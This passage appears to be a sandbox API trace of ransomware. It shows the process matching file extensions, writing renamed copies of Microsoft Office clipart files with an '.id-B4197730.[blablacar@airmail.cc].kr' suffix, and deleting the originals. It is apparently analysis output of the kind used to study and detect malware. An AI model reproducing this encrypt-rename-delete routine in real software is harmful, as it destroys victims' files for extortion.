[0198.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.039] lstrlenW (lpString=".doc") returned 4 [0198.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.039] lstrlenW (lpString=".docx") returned 5 [0198.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.039] lstrlenW (lpString=".pdf") returned 4 [0198.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.039] lstrlenW (lpString=".xls") returned 4 [0198.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.039] lstrlenW (lpString=".xlsx") returned 5 [0198.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.039] lstrlenW (lpString=".ppt") returned 4 [0198.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString=".zip") returned 4 [0198.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.040] lstrlenW (lpString=".rar") returned 4 [0198.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString=".bz2") returned 4 [0198.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString=".7z") returned 3 [0198.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString=".dbf") returned 4 [0198.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString=".1cd") returned 4 [0198.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString=".jpg") returned 4 [0198.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.040] lstrlenW (lpString=".doc") returned 4 [0198.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.040] lstrlenW (lpString=".docx") returned 5 [0198.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.040] lstrlenW (lpString=".pdf") returned 4 [0198.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString=".xls") returned 4 [0198.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.041] lstrlenW (lpString=".xlsx") returned 5 [0198.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.041] lstrlenW (lpString=".ppt") returned 4 [0198.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.041] lstrlenW (lpString=".zip") returned 4 [0198.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.041] lstrlenW (lpString=".rar") returned 4 [0198.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString=".bz2") returned 4 [0198.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString=".7z") returned 3 [0198.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.041] lstrlenW (lpString=".dbf") returned 4 [0198.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.041] lstrlenW (lpString=".1cd") returned 4 [0198.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0198.041] lstrlenW (lpString=".jpg") returned 4 [0198.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.042] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.042] lstrlenW (lpString="IN00046_.WMF") returned 12 [0198.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.237] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1158) returned 1 [0198.238] CloseHandle (hObject=0x548) returned 1 [0198.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0198.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.242] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.242] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.244] GetLastError () returned 0x0 [0198.244] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x486, lpOverlapped=0x0) returned 1 [0198.247] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x490, lpOverlapped=0x0) returned 1 [0198.248] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.249] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.249] SetEndOfFile (hFile=0x3f8) returned 1 [0198.250] CloseHandle (hObject=0x3f8) returned 1 [0198.250] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.250] SetEndOfFile (hFile=0x548) returned 1 [0198.254] CloseHandle (hObject=0x548) returned 1 [0198.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0198.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.256] lstrlenW (lpString=".doc") returned 4 [0198.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.256] lstrlenW (lpString=".docx") returned 5 [0198.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.257] lstrlenW (lpString=".pdf") returned 4 [0198.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString=".xls") returned 4 [0198.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.257] lstrlenW (lpString=".xlsx") returned 5 [0198.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.257] lstrlenW (lpString=".ppt") returned 4 [0198.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.257] lstrlenW (lpString=".zip") returned 4 [0198.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.257] lstrlenW (lpString=".rar") returned 4 [0198.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString=".bz2") returned 4 [0198.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString=".7z") returned 3 [0198.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.257] lstrlenW (lpString=".dbf") returned 4 [0198.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.257] lstrlenW (lpString=".1cd") returned 4 [0198.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.258] lstrlenW (lpString=".jpg") returned 4 [0198.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.258] lstrlenW (lpString=".doc") returned 4 [0198.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.258] lstrlenW (lpString=".docx") returned 5 [0198.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.258] lstrlenW (lpString=".pdf") returned 4 [0198.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.258] lstrlenW (lpString=".xls") returned 4 [0198.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.258] lstrlenW (lpString=".xlsx") returned 5 [0198.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.258] lstrlenW (lpString=".ppt") returned 4 [0198.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.259] lstrlenW (lpString=".zip") returned 4 [0198.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.259] lstrlenW (lpString=".rar") returned 4 [0198.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.259] lstrlenW (lpString=".bz2") returned 4 [0198.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.259] lstrlenW (lpString=".7z") returned 3 [0198.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.259] lstrlenW (lpString=".dbf") returned 4 [0198.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.259] lstrlenW (lpString=".1cd") returned 4 [0198.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0198.259] lstrlenW (lpString=".jpg") returned 4 [0198.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.259] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.260] lstrlenW (lpString="IN00177_.WMF") returned 12 [0198.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.261] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1074) returned 1 [0198.261] CloseHandle (hObject=0x548) returned 1 [0198.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0198.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.262] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.262] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.263] GetLastError () returned 0x0 [0198.263] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x432, lpOverlapped=0x0) returned 1 [0198.267] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x440, lpOverlapped=0x0) returned 1 [0198.268] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.269] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.269] SetEndOfFile (hFile=0x3f8) returned 1 [0198.269] CloseHandle (hObject=0x3f8) returned 1 [0198.269] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.269] SetEndOfFile (hFile=0x548) returned 1 [0198.273] CloseHandle (hObject=0x548) returned 1 [0198.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0198.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.274] lstrlenW (lpString=".doc") returned 4 [0198.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.275] lstrlenW (lpString=".docx") returned 5 [0198.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.275] lstrlenW (lpString=".pdf") returned 4 [0198.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".xls") returned 4 [0198.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.572] lstrlenW (lpString=".xlsx") returned 5 [0198.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.572] lstrlenW (lpString=".ppt") returned 4 [0198.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString=".zip") returned 4 [0198.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.572] lstrlenW (lpString=".rar") returned 4 [0198.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".bz2") returned 4 [0198.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".7z") returned 3 [0198.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString=".dbf") returned 4 [0198.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString=".1cd") returned 4 [0198.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString=".jpg") returned 4 [0198.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.572] lstrlenW (lpString=".doc") returned 4 [0198.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.572] lstrlenW (lpString=".docx") returned 5 [0198.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.573] lstrlenW (lpString=".pdf") returned 4 [0198.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString=".xls") returned 4 [0198.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.573] lstrlenW (lpString=".xlsx") returned 5 [0198.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.573] lstrlenW (lpString=".ppt") returned 4 [0198.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.573] lstrlenW (lpString=".zip") returned 4 [0198.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.573] lstrlenW (lpString=".rar") returned 4 [0198.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString=".bz2") returned 4 [0198.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString=".7z") returned 3 [0198.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.573] lstrlenW (lpString=".dbf") returned 4 [0198.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.573] lstrlenW (lpString=".1cd") returned 4 [0198.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0198.573] lstrlenW (lpString=".jpg") returned 4 [0198.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.574] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.574] lstrlenW (lpString="IN00557_.WMF") returned 12 [0198.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.574] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9172) returned 1 [0198.574] CloseHandle (hObject=0x548) returned 1 [0198.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0198.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.576] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.576] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.577] GetLastError () returned 0x0 [0198.577] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0198.579] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0198.580] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.580] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.580] SetEndOfFile (hFile=0x4d4) returned 1 [0198.580] CloseHandle (hObject=0x4d4) returned 1 [0198.580] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.580] SetEndOfFile (hFile=0x548) returned 1 [0198.583] CloseHandle (hObject=0x548) returned 1 [0198.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.584] lstrlenW (lpString=".doc") returned 4 [0198.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.584] lstrlenW (lpString=".docx") returned 5 [0198.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.585] lstrlenW (lpString=".pdf") returned 4 [0198.585] 